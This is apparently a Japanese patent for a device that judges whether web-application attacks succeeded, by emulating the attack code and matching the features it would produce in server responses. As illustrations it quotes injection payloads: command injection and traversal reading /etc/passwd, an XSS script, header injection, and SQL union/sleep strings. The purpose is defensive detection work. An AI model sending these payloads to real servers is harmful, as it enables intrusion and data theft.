(57)【特許請求の範囲】
【請求項１】
攻撃コードによるサーバへの攻撃が成功したか否かを判定する判定装置であって、
前記サーバへの攻撃リクエストに含まれる攻撃コードの攻撃タイプを判定する攻撃タイプ判定部と、
前記判定された攻撃タイプに応じ、前記サーバへの前記攻撃コードによる攻撃のエミュレーションを実施し、前記エミュレーションの結果、前記サーバへの攻撃に成功した場合に前記サーバからのレスポンスに現れる特徴を抽出する特徴抽出部と、
前記判定の対象となる前記サーバからのレスポンスが、前記抽出した特徴を有する場合、前記攻撃コードによる攻撃が成功したと判定する判定部と
を備えることを特徴とする判定装置。
【請求項２】
前記特徴抽出部が抽出した特徴から、文字列長が所定の閾値以下、または、攻撃ではないリクエストのレスポンスに所定の閾値以上出現する特徴を除外して、前記判定部に出力する選択部をさらに備える
ことを特徴とする請求項１に記載の判定装置。
【請求項３】
前記攻撃タイプ判定部は、
前記攻撃コードに含まれるキーワードを用いて、前記攻撃コードの攻撃タイプが、ＯＳ（Operating  System）コマンドを用いる攻撃タイプか、プログラムコードを用いる攻撃タイプか、ＳＱＬコマンドを用いる攻撃タイプか、ＨＴＴＰ（HyperText  Transfer  Protocol）レスポンスを用いる攻撃タイプか、ファイル操作を用いる攻撃タイプかを判定する
ことを特徴とする請求項１に記載の判定装置。
【請求項４】
前記特徴抽出部は、さらに、
前記攻撃コードの一部による攻撃のエミュレーションを実施し、前記エミュレーションの結果、前記攻撃コードの一部の実行により前記サーバへの攻撃に成功した場合に前記サーバからのレスポンスに現れる特徴を抽出する
ことを特徴とする請求項１に記載の判定装置。
【請求項５】
前記特徴抽出部は、
前記攻撃リクエストに含まれる攻撃コードに、前記サーバにおける動作時刻を操作するコードが含まれるとき、前記攻撃の成功した場合にサーバからのレスポンスに現れる特徴として、前記サーバでのリクエストの受信から、前記リクエストに対するレスポンスの送信までのリクエスト処理時間の値を設定する
ことを特徴とする請求項１に記載の判定装置。
【請求項６】
前記特徴抽出部は、
前記攻撃リクエストに含まれる攻撃コードに、前記サーバから外部リソースへのアクセスを指示するコードが含まれるとき、前記攻撃の成功した場合にサーバからのレスポンスに現れる特徴として、前記攻撃リクエストの受信から所定時間以内における、前記サーバから前記外部リソースへのアクセスを設定する
ことを特徴とする請求項１に記載の判定装置。
【請求項７】
攻撃コードによるサーバへの攻撃が成功したか否かを判定する判定方法であって、
前記サーバへの攻撃リクエストに含まれる攻撃コードの攻撃タイプを判定するステップと、
前記判定された攻撃タイプに応じ、前記サーバへの前記攻撃コードによる攻撃のエミュレーションを実施し、前記エミュレーションの結果、前記サーバへの攻撃に成功した場合に前記サーバからのレスポンスに現れる特徴を抽出するステップと、
前記判定の対象となる前記サーバからのレスポンスが、前記抽出した特徴を有する場合、前記攻撃コードによる攻撃が成功したと判定するステップと
を判定装置が実行することを特徴とする判定方法。
【請求項８】
攻撃コードによるサーバへの攻撃が成功したか否かを判定するための判定プログラムであって、
前記サーバへの攻撃リクエストに含まれる攻撃コードの攻撃タイプを判定するステップと、
前記判定された攻撃タイプに応じ、前記サーバへの前記攻撃コードによる攻撃のエミュレーションを実施し、前記エミュレーションの結果、前記サーバへの攻撃に成功した場合に前記サーバからのレスポンスに現れる特徴を抽出するステップと、
前記判定の対象となる前記サーバからのレスポンスが、前記抽出した特徴を有する場合、前記攻撃コードによる攻撃が成功したと判定するステップと
をコンピュータに実行させることを特徴とする判定プログラム。
【発明の詳細な説明】
【技術分野】
【０００１】
本発明は、判定装置、判定方法、および、判定プログラムに関する。
【背景技術】
【０００２】
webアプリケーションは多くのサービスで利用されている一方で、不特定多数からアクセス可能なため攻撃に晒されやすい性質を持つ。攻撃は、WAF（Web  Application  Firewall）、NIDS（Network-based  Intrusion  Detection  System）等により検知することができるが、攻撃が成功したか否かについては大量のアラートを人手で調査・検証する必要がある。そこで、攻撃が成功したか否かを判定するため、HIDS（Host-based  IDS）、Stateful  IDS（非特許文献１〜３参照）、脆弱性情報との相関分析（非特許文献４参照）、攻撃コードのエミュレーション（非特許文献５参照）等の技術を用いることが考えられる。
【先行技術文献】
【非特許文献】
【０００３】
【非特許文献１】G.  Vigna  et  al.  ,“A  Stateful  Intrusion  Detection  System  for  World-Wide  Web  Servers”,  ACSAC,  2003
【非特許文献２】R.  Sommer  et  al.  ,“Enhancing  Byte-Level  Network  Intrusion  Detection  Signatures  with  Context”,  CCS,  2003
【非特許文献３】J.  Zhou  et  al.  ,“Verify  Results  of  Network  Intrusion  Alerts  Using  Lightweight  Protocol  Analysis”,  ACSAC,  2005
【非特許文献４】C.  Kruegel  et  al.  ,“Alert  Verification  Determining  the  Success  of  Intrusion  Attempts”,  DIMVA,  2004
【非特許文献５】A.  Abbasi  et  al.  ,“On  Emulation-Based  Network  Intrusion  Detection  Systems”,  RAID,  2014
【発明の概要】
【発明が解決しようとする課題】
【０００４】
しかし、HIDSの場合、サーバ内に導入することが必要となり、サーバで用いているシステムの改変が必要となる。また、Stateful  IDSの場合、予め攻撃の挙動を定義する必要がある。さらに、脆弱性情報との相関分析を行う場合、予め脆弱性情報を収集する必要がある。また、攻撃コードのエミュレーション（特に、非特許文献５に記載の技術による攻撃コードのエミュレーション）は、x86等のバイナリコードのエミュレーションにしか対応できないため、webアプリケーションに対する攻撃には対応できない。そこで、本発明は、前記した問題を解決し、既存のシステムの改変や、攻撃の定義や脆弱性情報の収集を行うことなく、webアプリケーションに対する攻撃の成否を判定することを課題とする。
【課題を解決するための手段】
【０００５】
前記した課題を解決するため、本発明は、攻撃コードによるサーバへの攻撃が成功したか否かを判定する判定装置であって、前記サーバへの攻撃リクエストに含まれる攻撃コードの攻撃タイプを判定する攻撃タイプ判定部と、前記判定された攻撃タイプに応じ、前記サーバへの前記攻撃コードによる攻撃のエミュレーションを実施し、前記エミュレーションの結果、前記サーバへの攻撃に成功した場合に前記サーバからのレスポンスに現れる特徴を抽出する特徴抽出部と、前記判定の対象となる前記サーバからのレスポンスが、前記抽出した特徴を有する場合、前記攻撃コードによる攻撃が成功したと判定する判定部とを備えることを特徴とする。
【発明の効果】
【０００６】
本発明によれば、既存のシステムの改変や、攻撃の定義や脆弱性情報の収集を行うことなく、webアプリケーションに対する攻撃の成否を判定することができる。
【図面の簡単な説明】
【０００７】
【図１】図１は、第１の実施形態の判定装置の動作概要を説明する図である。
【図２】図２は、図１の判定装置の構成例を示す図である。
【図３】図３は、図２の攻撃タイプ別キーワードリストの例を示す図である。
【図４】図４は、図２の判定装置の処理手順を示すフローチャートである。
【図５】図５は、第２の実施形態の判定装置の動作概要を説明する図である。
【図６】図６は、図５の判定装置における攻撃コードの分割を例示する図である。
【図７】図７は、第３の実施形態の判定装置の動作概要を説明する図である。
【図８】図８は、外部リソースへのアクセス指示を含む攻撃リクエストを受信したwebサーバにおける、攻撃成功時の動作および攻撃失敗時の動作を説明する図である。
【図９】図９は、第４の実施形態の判定装置の動作概要を説明する図である。
【図１０】図１０は、各実施形態の判定装置を含むネットワークの構成例を示す図である。
【図１１】図１１は、判定プログラムを実行するコンピュータを示す図である。
【発明を実施するための形態】
【０００８】
以下、図面を参照しながら、本発明の実施形態を説明する。本発明は本実施形態に限定されない。なお、以下の説明において、攻撃コードによるwebサーバへの攻撃とは、例えば、攻撃コードによるwebサーバのwebアプリケーションへの攻撃であるものとする。
【０００９】
［第１の実施形態］
［概要］
図１を用いて、第１の実施形態の判定装置１０の動作概要を説明する。まず、判定装置１０は、例えば、図１に示すように、webアプリケーション（webサーバ）への攻撃リクエスト（（１））を受信すると、この攻撃リクエストに含まれる攻撃コードと、攻撃タイプとを特定する。そして、判定装置１０は、特定した攻撃タイプ（例えば、A.OS（Operating  System）コマンドを悪用する攻撃タイプ）に応じたエミュレータで攻撃コードを実行し、実行の結果のwebサーバから出力される情報を攻撃の成功時に出力される特徴（例えば、「root：*：0：/bin/sh…」）として抽出する（（２））。
【００１０】
その後、判定装置１０は、webサーバからのレスポンス（（３））を検査し、そのレスポンスに、（２）で抽出した特徴（例えば、「root：*：0：/bin/sh」）が含まれている場合、攻撃は成功と判定する（（４）検査結果  攻撃は成功）。
【００１１】
このようにすることで、判定装置１０は、既存のシステムの改変や、攻撃の定義や脆弱性情報の収集を行うことなく、webアプリケーションに対する攻撃の成否を判定することができる。
【００１２】
［構成］
次に、図２を用いて判定装置１０の構成を説明する。判定装置１０は、記憶部１１と、攻撃検知部１２１と、攻撃タイプ判定部１２２と、攻撃コード解析部（特徴抽出部）１２３と、特徴選定部１２４と、特徴検査部（判定部）１２５とを備える。
【００１３】
記憶部１１は、攻撃タイプ別キーワードリスト１１１と、特徴候補ＤＢ（データベース）１１２と、レスポンスＤＢ１１３と、特徴ＤＢ１１４とを記憶する領域を備える。
【００１４】
攻撃タイプ別キーワードリスト１１１は、攻撃タイプごとに、当該攻撃タイプの攻撃コードに含まれるキーワードを示した情報である。この攻撃タイプ別キーワードリスト１１１は、攻撃タイプ判定部１２２が、攻撃コードに含まれるキーワードから攻撃タイプを判定する際に参照される。
【００１５】
なお、攻撃タイプは、例えば、A.OSコマンドを悪用する攻撃タイプ、B.プログラムコードを悪用する攻撃タイプ、C.SQLコマンド（DBの機能）を悪用する攻撃タイプ（例えば、SQL  Injection等）、D.HTTPレスポンスを悪用する攻撃タイプ（例えば、XSS、Header  Injection等）、E.ファイル操作を悪用する攻撃タイプ（例えば、ディレクトリトラバーサル等）の５つのタイプに分けられる。
【００１６】
なお、図３に例示するように、上記のA.の攻撃タイプではOSコマンドの名前をキーワードとする。また、B.の攻撃タイプではプログラミング言語で利用する固有表現をキーワードとする。例えば、PHPであればprint_r、var_dump、base64_decode等のPHPに固有の関数あるいはPHPの固有表現等（$_GET、$_POST等）をキーワードとする。その他のプログラミング言語（Java（登録商標）、Perl、Ruby、Python等）においても同等である。そのため、B.の攻撃タイプではプログラミング言語毎に攻撃タイプ別キーワードリストを保持している。このとき、どのプログラミング言語に当たるかの情報は、例えば、図３に示すように、サブ攻撃タイプとして保持する。
【００１７】
また、C.の攻撃タイプではSQLコマンドの名前（select、update、insert、drop等）やDBアクセスの際の特徴的な表現をキーワードとする。例えば、MySQLの場合、information_schema、@@version、mysql等である。さらに、D.の攻撃タイプではHTMLやJavascript（登録商標）で利用される固有表現（alert(、onclick等）をキーワードとする。また、E.の攻撃タイプではディレクトリトラバーサル攻撃で利用される固有表現（../等）をキーワードとする。
【００１８】
図２の説明に戻る。特徴候補ＤＢ１１２は、攻撃コード解析部１２３よる攻撃コードのエミュレーションの結果、webサーバから出力された情報（特徴候補）を記憶する。
【００１９】
レスポンスＤＢ１１３は、様々なwebアプリケーション（webサーバ）からのレスポンスを記憶する。このレスポンスＤＢ１１３は、特徴選定部１２４が、特徴候補から、通常のレスポンスに頻繁に登場する語（普遍的な語）を除外する際に参照される。レスポンスＤＢ１１３は、例えば、攻撃が来ないことが保証されている試験環境でレスポンスを取得して作成される。あるいは、攻撃検知部１２１で検知されなかったリクエストに対応するレスポンスを用いて作成される。
【００２０】
特徴ＤＢ１１４は、攻撃コードによる攻撃の成功時にwebサーバから出力される特徴を記憶する。具体的には、特徴ＤＢ１１４は、特徴候補ＤＢ１１２に記憶される特徴候補の中から特徴選定部１２４により選定された特徴を記憶する。この特徴ＤＢ１１４に記憶される特徴は、特徴検査部１２５が、webサーバからのレスポンスに基づき、攻撃が成功したか否かを判定する際に参照される。
【００２１】
攻撃検知部１２１は、webサーバへのリクエストが攻撃か否かの判定（攻撃検知）を行う。攻撃検知のアルゴリズムは、既存のシグネチャ検知のアルゴリズム（例えば、Snort(https://www.snort.org/)や、Bro(https://www.bro.org/)）や、異常検知のアルゴリズム（例えば、Detecting  Malicious  Inputs  of  Web  Application  Parameters  Using  Character  Class  Sequences,  COMPSAC,  2015）を用いてよい。
【００２２】
なお、ここでは、攻撃検知部１２１が処理対象とするリクエストにおけるURLエンコードやHTMLエンコードはデコード済みであるとする。例えば、リクエストが「GET  /index.php?id=1234%3Bcat%20%2Fetc%2Fpasswd%3B」である場合、「GET  /index.php?id=1234;cat  /etc/passwd;」にデコード済であるものとする。
【００２３】
また、リクエストにおける攻撃コードの部分は、上記の既存のシグネチャ検知や異常検知のアルゴリズムにより出力されるものとする。例えば、リクエストが「GET  /index.php?id=1234;cat  /etc/passwd;」である場合、上記のアルゴリズムにより、上記のリクエストの攻撃コードの部分である「1234;cat  /etc/passwd;」が出力されるものとする。
【００２４】
攻撃タイプ判定部１２２は、攻撃検知部１２１により攻撃と判定されたリクエストに含まれる攻撃コードに対して攻撃タイプの判定を行う。
【００２５】
ここで、攻撃タイプ判定部１２２は、例えば、webアプリケーションに対する攻撃の中でも特に重要と思われる、５つの攻撃タイプ（上記のA.〜E.の攻撃タイプ）のいずれであるかを判定する。ここでの攻撃タイプの判定は、攻撃コードに含まれるキーワードが、攻撃タイプ別キーワードリスト１１１（図３参照）に示されるどの攻撃タイプのキーワードとマッチするかにより行われる。
【００２６】
例えば、攻撃タイプ判定部１２２は、攻撃タイプ別キーワードリスト１１１を参照して、攻撃コードに「cat」が含まれていれば、当該攻撃コードをA.の攻撃タイプ（OSコマンドを悪用する攻撃タイプ）と判定する。また、攻撃タイプ判定部１２２は、攻撃コードに「print_r」が含まれていれば、当該攻撃コードをB.の攻撃タイプ（プログラムコードを悪用する攻撃タイプ）であり、その中でもphpを用いた攻撃タイプであると判定する。
【００２７】
なお、攻撃タイプ判定部１２２は、攻撃コードが、攻撃タイプ別キーワードリスト１１１（図３参照）に示される複数の攻撃タイプのキーワードとマッチした場合、例えば、攻撃コードの最初（攻撃コード内で最も左の位置）に出現したキーワードの攻撃タイプであると判定する。
【００２８】
一例を挙げると、攻撃コードが「;php  -e  “$i=123456789;var_dump($1)”;」の場合、攻撃タイプ別キーワードリスト１１１において、A.の攻撃タイプのキーワードである「php」と、B.の攻撃タイプのキーワードである「var_dump」とが出現する。このような場合、攻撃タイプ判定部１２２は、上記の攻撃コードにおいて「php」の方が「var_dump」よりも初めに出現しているので、A.の攻撃タイプと判定する。
【００２９】
なお、攻撃タイプ判定部１２２は、攻撃タイプ別キーワードリスト１１１を参照して、攻撃コードがどの攻撃タイプともマッチしなかった場合は判定不可とする。
【００３０】
攻撃コード解析部１２３は、攻撃コードについてエミュレータを用いた動的解析を行うことにより、当該攻撃コードを実行した際にwebサーバからのレスポンスに現れる特徴（出力）を抽出する。
【００３１】
具体的には、攻撃コード解析部１２３は、攻撃タイプ判定部１２２で判定された攻撃コードの攻撃タイプに応じたエミュレータを用いて、当該攻撃コードによるwebアプリケーションへの攻撃のエミュレーションを実施する。そして、攻撃コード解析部１２３は、攻撃コードのエミュレーションにおいて攻撃に対するレスポンスに現れる出力を、攻撃の成功時に現れる特徴候補として抽出する。
【００３２】
なお、上記の各攻撃タイプに応じたエミュレータは、例えば、デバッガやインタープリタを応用して事前に作成しておき、攻撃コード解析部１２３は、事前作成されたエミュレータから、攻撃タイプに応じたエミュレータを選択する。
【００３３】
攻撃コード解析部１２３は、例えば、以下のようにして攻撃コードを実行した際のリクエストに対するレスポンスに現れる特徴（出力）を抽出する。
【００３４】
例えば、攻撃コードの攻撃タイプがA.OSコマンドを悪用する攻撃タイプである場合、攻撃コード解析部１２３は、OSコマンドを実行できる環境（例えば、Windows（登録商標）のコマンドプロンプト、Linux（登録商標）のbash、あるいはコマンドをエミュレートできるエミュレータ）を用いて、当該攻撃コードをコマンドとして実行する。
【００３５】
一例を挙げると、攻撃コード解析部１２３は、「bash  -c  "cat  /etc/passwd;”」というように、bashコマンドに-c引数で指定したコマンドを実行させる。そして、攻撃コード解析部１２３は、コマンドの実行による標準出力、標準エラー出力の内容を特徴候補として抽出する。例えば、攻撃コード解析部１２３は、攻撃コード「cat  /etc/passwd;」に対し、標準出力：「root:*:0:/bin/sh  …」、標準エラー出力「なし」という情報を特徴候補として抽出する。
【００３６】
また、例えば、攻撃コードの攻撃タイプが、B.プログラムコードを悪用する攻撃タイプである場合、攻撃コード解析部１２３は、プログラミング言語に対して適切なインタープリタあるいはエミュレータを用いて、当該攻撃コードを実行する。
【００３７】
一例を挙げると、攻撃コードが、phpコードの場合、攻撃コード解析部１２３は、「php  -r  ”print(‘123456789’);die();”」というように、phpインタープリタに-r引数で指定したコードを実行させる。また、攻撃コードがpythonコードの場合、攻撃コード解析部１２３は、「python  -c  “import  sys;print  123456789;sys.exit()”」というように、pythonインタープリタに-c引数で指定したコードを実行させる。
【００３８】
そして、攻撃コード解析部１２３は、コードの実行後、標準出力、標準エラー出力の内容を特徴候補として抽出する。例えば、phpコードの場合、攻撃コード「print(‘123456789’);die();」に対し、標準出力「123456789」、標準エラー出力「なし」という情報を特徴候補として抽出する。
【００３９】
また、攻撃コードの攻撃タイプが、C.SQLコマンド(DBの機能)を悪用する攻撃タイプ（例えば、SQL  Injection等）である場合、攻撃コード解析部１２３は、DBに対してSQL文を実行できるターミナルあるいはエミュレータを用いて、当該攻撃コードを実行する。
【００４０】
なお、SQL  Injection攻撃によって挿入されるSQL文（SQLコマンド）は部分的なものであり、そのままでは実行できない。よって、攻撃コード解析部１２３は、SQL文の整形を行う。例えば、攻撃コード解析部１２３は、SQL文のSELECT句等より前の部分を消去することにより、SQL文をSELECT句等が攻撃コードの最初に現れるように変更する。なお、攻撃コード解析部１２３が、SQL文の句のうち、最初に現れるように調整するキーワードはSELECT句以外の句（例えば、update、delete、drop等の句）であってもよく、これらの句は攻撃タイプ別キーワードリスト１１１（図３参照）で与えられているものとする。
【００４１】
攻撃コード解析部１２３は、整形後のSQL文の実行による標準出力、標準エラー出力の内容を特徴候補として抽出する。例えば、攻撃コード解析部１２３は、攻撃コード「’  union  select  123456789  -」を「select  123456789」に整形する。そして、攻撃コード解析部１２３は、整形後の攻撃コードの実行による標準出力「123456789」、標準エラー出力「なし」という情報を特徴候補として抽出する。
【００４２】
また、攻撃コードの攻撃タイプが、D.HTTPレスポンスを悪用する攻撃タイプ（例えば、XSS、Header  Injection等）である場合、攻撃コード解析部１２３は、攻撃の性質上、攻撃コードそのものがレスポンスとしてクライアントに送られるため、攻撃コードそのものを特徴候補として抽出する。
【００４３】
例えば、攻撃コードがXSSによる攻撃コード「<script>alert(1)</script>」である場合、攻撃コード解析部１２３は、「<script>alert(1)</script>」を特徴候補として抽出する。また、攻撃コードがHeader  Injectionによる攻撃コード「\r\nSet-Cookie:1234;」である場合、攻撃コード解析部１２３は、「\r\nSet-Cookie:1234;」を特徴候補として抽出する。
【００４４】
また、攻撃コードの攻撃タイプが、E.ファイル操作を悪用する攻撃タイプ（例えば、ディレクトリトラバーサル等）である場合、攻撃コード解析部１２３は、攻撃コードに現れるファイル名をOS内で検索し、そのファイル名のファイルの内容を特徴候補として抽出する。
【００４５】
例えば、攻撃コードが「../../../../etc/passwd」である場合、攻撃コード解析部１２３は、OS内から検索された、当該攻撃コードに現れるファイル名のファイルの内容である「root:*:0:/bin/sh  …」を特徴候補として抽出する。
【００４６】
このようにすることで、攻撃コード解析部１２３は、攻撃コードの攻撃タイプに応じたエミュレーションを実行し、当該攻撃コードによる攻撃の成功時の特徴（特徴候補）を抽出することができる。なお、攻撃コード解析部１２３により抽出された特徴候補は特徴候補ＤＢ１１２に記憶される。
【００４７】
特徴選定部１２４は、攻撃コード解析部１２３により抽出された特徴候補の中から、特徴としては不適切な候補を除外する。具体的には、特徴選定部１２４は、特徴候補ＤＢ１１２に記憶される特徴候補の中から、普遍的過ぎて攻撃の成否の判定に利用できない可能性の高い特徴候補を除外する。
【００４８】
例えば、特徴選定部１２４は、特徴候補ＤＢ１１２に記憶される特徴候補のうち、文字列長が極端に短い（例えば、文字列長が２以下の）特徴候補を除外し、その後、通常のレスポンスにも現れる普遍的な語の特徴候補を除外し、残った特徴候補を攻撃成功時の特徴として、特徴ＤＢ１１４に記憶する。
【００４９】
例えば、特徴選定部１２４は、特徴候補「1、2、title、page、123456789」の中から、文字列長が所定値（例えば、２）以下の特徴候補「1、2」を除外する。その後、特徴選定部１２４は、文字列長が所定値（例えば、２）以下の特徴候補を除外した「title、page、123456789」から普遍的な語を除外する。
【００５０】
ここでの普遍的な語は、例えば、攻撃でないリクエストに対するレスポンスに含まれる語であるものとする。従って、特徴選定部１２４は、攻撃でないリクエストに対するレスポンスの集合であるレスポンスＤＢ１１３を参照して、特徴候補「title、page、123456789」のうち、レスポンスＤＢ１１３における出現回数が１以上の特徴候補を除外する。そして、特徴選定部１２４は、除外の結果の残った特徴候補を攻撃成功時の特徴として、特徴ＤＢ１１４に記憶する。
【００５１】
一例を挙げる。ここでは、レスポンスＤＢ１１３にレスポンス「<html><title>My  blog  page</title><p>Hello  world  !  Date  :    2017/4/1</p></html>」が記憶されている場合を考える。この場合、特徴選定部１２４は、特徴候補「title、page、123456789」のうち、当該レスポンスに出現する特徴候補「title、page」を除外する。そして、特徴選定部１２４は、除外の結果の残った特徴候補「123456789」を攻撃成功時の特徴として、特徴ＤＢ１１４に記憶する。
【００５２】
このようにすることで、特徴選定部１２４は、特徴候補ＤＢ１１２から、普遍的な語を除外する際、レスポンスＤＢ１１３を用いることとしたが、予め用意された普遍的な語のリストを用いることとしてもよい。
【００５３】
また、特徴選定部１２４は、攻撃コード解析部１２３により抽出された特徴候補に対し、上記のように、文字列長が極端に短い特徴候補の除外と、普遍的な語の特徴候補の除外とを行ってもよいし、いずれか一方のみを行ってもよい。
【００５４】
特徴検査部１２５は、特徴ＤＢ１１４を参照して、webサーバからのレスポンスが攻撃の成功を示すものか否かを判定する。つまり、特徴検査部１２５は、当該レスポンスに、特徴ＤＢ１１４に記憶される特徴が含まれる場合、攻撃が成功したと判定する。一方、特徴検査部１２５は、当該のレスポンスに、特徴ＤＢ１１４に記憶される特徴が含まれない場合、攻撃は失敗したと判定する。そして、特徴検査部１２５は、攻撃の成否（成功／失敗）の判定結果を出力する。
【００５５】
以上説明した判定装置１０によれば、既存のシステムの改変や、攻撃の定義や脆弱性情報の収集を行うことなく、webアプリケーションに対する攻撃の成否を判定することができる。
【００５６】
［処理手順］
次に、図４を用いて、判定装置１０の処理手順を説明する。まず、判定装置１０の攻撃検知部１２１は、webアプリケーションへのリクエストが攻撃か否かを判定する（Ｓ１）。ここで、当該リクエストが攻撃であれば（Ｓ１でＹｅｓ）、攻撃タイプ判定部１２２は、攻撃タイプ別キーワードリスト１１１を参照して、当該リクエストに含まれる攻撃コードの攻撃タイプを判定する（Ｓ２）。攻撃タイプ判定部１２２が攻撃タイプを判定可能な場合（Ｓ３でＹｅｓ）、攻撃コード解析部１２３は判定された攻撃タイプに基づき、攻撃コードのエミュレーションを実行し、実行の結果出力された情報を、攻撃成功時の特徴候補として抽出する（Ｓ４：攻撃コード解析）。なお、Ｓ１において攻撃検知部１２１がwebアプリケーションへのリクエストは攻撃ではないと判定した場合（Ｓ１でＮｏ）、処理を終了する。
【００５７】
Ｓ４の後、特徴選定部１２４は、Ｓ４で抽出された特徴候補の中から、特徴としては不適切な特徴候補（例えば、普遍的な語）を除外した特徴候補を、攻撃の成否の判定に用いる特徴として選定する（Ｓ５：特徴選定）。この攻撃の成否の判定に用いる特徴は、例えば、特徴ＤＢ１１４に記憶される。
【００５８】
Ｓ５の後、特徴ＤＢ１１４に特徴が存在すれば（Ｓ６でＹｅｓ）、特徴検査部１２５は、特徴ＤＢ１１４に記憶される特徴と、攻撃の成否の判定対象となるwebアプリケーションからのレスポンスとを照合することにより、攻撃が成功したか否かを判定する（Ｓ７：特徴検査）。つまり、特徴検査部１２５は、当該レスポンスに、特徴ＤＢ１１４に記憶される特徴が含まれている場合、当該webアプリケーションへの攻撃が成功したと判定し、当該レスポンスに、特徴ＤＢ１１４に記憶される特徴が含まれていない場合、当該webアプリケーションへの攻撃は失敗したと判定する。
【００５９】
Ｓ７の特徴検査において、特徴検査部１２５が、攻撃は成功したと判定した場合（Ｓ８でＹｅｓ）、攻撃は成功したとして、外部装置等に通知し（Ｓ９）、攻撃は失敗したと判定した場合（Ｓ８でＮｏ）、攻撃は失敗したとして、外部装置等に通知する（Ｓ１０）。
【００６０】
なお、Ｓ３において攻撃タイプ判定部１２２が攻撃タイプの判定不可能な場合（Ｓ３でＮｏ）、あるいは、Ｓ６において特徴ＤＢ１１４に特徴が存在しないと判定された場合（Ｓ６でＮｏ）、判定装置１０は、攻撃の成否判定は不可として、外部装置等に通知する（Ｓ１１）。
【００６１】
このような判定装置１０によれば、既存のシステムの改変や、攻撃の定義や脆弱性情報の収集を行うことなく、webアプリケーションに対する攻撃の成否を判定することができる。
【００６２】
［第２の実施形態］
判定装置１０は、webサーバへのリクエストに含まれる攻撃コードを部分的に分割した攻撃コード（部分攻撃コード）を実行した際の出力についても、攻撃成功時の特徴（また特徴候補）としてもよい。この場合の判定装置１０を、第２の実施形態の判定装置１０ａとして説明する。前記した実施形態と同じ構成については同じ符号を付して説明を省略する。
【００６３】
図５を用いて、判定装置１０ａの動作概要を説明する。例えば、判定装置１０ａは、webサーバへの攻撃リクエスト「GET  /index.php?id=1);  cat  /etc/passwd」を受信した場合（（１））、攻撃コード「1);  cat  /etc/passwd」について、部分攻撃コード「1);  cat  /etc/passwd」、「);  cat/etc/passwd」、「;  cat  /etc/passwd」、「cat  /etc  /passwd」、…を抽出する。
【００６４】
そして、判定装置１０ａは、攻撃コード「1);  cat  /etc/passwd」の攻撃タイプを「A.OSコマンドを悪用する攻撃タイプ」と判定すると、各部分攻撃コードについて、当該攻撃タイプに応じたエミュレーションにより、webアプリケーションから出力される標準出力（例えば、「root:*:0:/bin/sh  …」）を、部分攻撃コードによる攻撃成功時の特徴として抽出する（（２））。そして、判定装置１０ａは、webサーバからのレスポンス（（３））に、当該特徴（例えば、「root:*:0:/bin/sh  …」）が含まれていた場合、攻撃が成功したと判定する（（４））。
【００６５】
このようにすることで、判定装置１０ａは、例えば、webサーバやwebアプリケーションの仕様により、所定の条件下で攻撃が成功するような攻撃コードについても、当該攻撃コードによる攻撃の成功時の特徴を抽出することができる。
【００６６】
なお、攻撃コードの分割の方法は、例えば、（１）攻撃コードの文字、記号を先頭から１つずつ消去する、または（２）攻撃コードの先頭から連続する同じ文字クラス（例えば、数字、アルファベット、空白等）を消去する方法等がある。
【００６７】
図６を用いて、（２）攻撃コードの先頭から順に連続する同じ文字クラス（例えば、数字、アルファベット、空白等）を消去する方法について説明する。文字クラスの定義は、例えば、図６の右側に示すように正規表現等によって定義されているものとする。
【００６８】
ここでは、攻撃コードが「1234);echo  123456789;」である場合を考える。この場合、当該攻撃コードの先頭から順に連続する同じ文字クラス（例えば、数字、アルファベット、空白等）を消去し、「1234);echo  123456789;」、「);echo  123456789;」、「;echo  123456789;」、「echo  123456789;」、「123456789;」、「;」という部分攻撃コードを得る。なお、上記の攻撃コードの分割は、例えば、判定装置１０ａの攻撃コード解析部１２３により行われる。
【００６９】
その後、攻撃コード解析部１２３は、これらの部分攻撃コードそれぞれのエミュレーションを実行し、webアプリケーションからの標準出力／標準エラー出力として、図６に示す出力を得る。そして、攻撃コード解析部１２３は、これらの出力のうち、標準出力である「-bash:  syntax  error  near  unexpected  token」、「123456789」、「-bash:  123456789:  command  not  found」を、特徴候補として抽出する。
【００７０】
その後、特徴選定部１２４は、攻撃コード解析部１２３により抽出された特徴候補から、特徴として用いるものを選定し、特徴検査部１２５は、検査対象となるレスポンスに対し、当該特徴を用いて、攻撃が成功したか否かを判定する。
【００７１】
このような判定装置１０ａによれば、例えば、webサーバやwebアプリケーションの仕様により、所定の条件下で攻撃が成功するような攻撃コードについても、攻撃が成功したか否かを判定することができる。
【００７２】
［第３の実施形態］
判定装置１０は、webサーバにおける攻撃リクエストに対するレスポンス処理時間の長さにより、攻撃が成功したか否かを判定してもよい。この場合の判定装置１０を第３の実施形態の判定装置１０ｂとして説明する。前記した実施形態と同じ構成については同じ符号を付して説明を省略する。
【００７３】
ここでは、webサーバへのリクエストに、例えば、A.OSコマンドを悪用する攻撃タイプの「GET  /index.php?id=sleep  10;」という攻撃コードや、C.SQLコマンド(DBの機能)を悪用する攻撃タイプの「GET  /index.php?id=1’  union  select  sleep(10)  --」という攻撃コード等が用いられた場合を考える。
【００７４】
上記のようにリクエストの攻撃コードに上記のsleep等、webサーバにおける動作時刻を操作する機能が用いられた場合、webサーバはリクエスト受信後、上記のsleep等で指定された時間（例えば１０秒）経過した後で、レスポンスを送信する。
【００７５】
したがって、判定装置１０ｂは、webアプリケーションへのリクエストに上記のsleep等、時刻を操作する機能（例えば、関数やコマンド）を含む攻撃コードが含まれていた場合、当該webアプリケーションへのリクエストの送信から、当該リクエストに対するレスポンスの受信までの時間（リクエスト処理時間）を計測する。そして、判定装置１０ｂは、このリクエスト処理時間が所定時間以上であったとき、攻撃が成功したと判定し、リクエスト処理時間が所定時間未満であったとき、攻撃に失敗したと判定する。
【００７６】
このようにすることで、判定装置１０ｂは、上記のsleep等、時刻を操作する機能（例えば、関数やコマンド）を含む攻撃コードによる攻撃についても、当該攻撃が成功したか否かを判定することができる。
【００７７】
図７を用いて、判定装置１０ｂの動作例を説明する。判定装置１０ｂは、webサーバへの攻撃リクエストに上記のsleepを含む攻撃コードが含まれていた場合（（１））、攻撃コード解析部１２３は、当該攻撃コードの攻撃タイプに応じたエミュレーションを行い、攻撃コード（例えば、select  sleep()）と、当該攻撃コードの実行により生じるリクエスト処理時間（例えば、select  sleep()に設定される時間=10秒）とを対応付けた情報を、webサーバへの攻撃成功時の特徴として、特徴ＤＢ１１４に記憶する（（２））。
【００７８】
その後、判定装置１０ｂの特徴検査部１２５は、webサーバから、（１）で送信された攻撃リクエストに対するレスポンスを受信すると（（３））、当該webサーバのリクエスト処理時間に、（２）で記憶した攻撃成功時の特徴があるか否かを判定する。つまり、特徴検査部１２５は、当該webサーバにおけるリクエスト処理時間が10秒以上か否かを判定する。
【００７９】
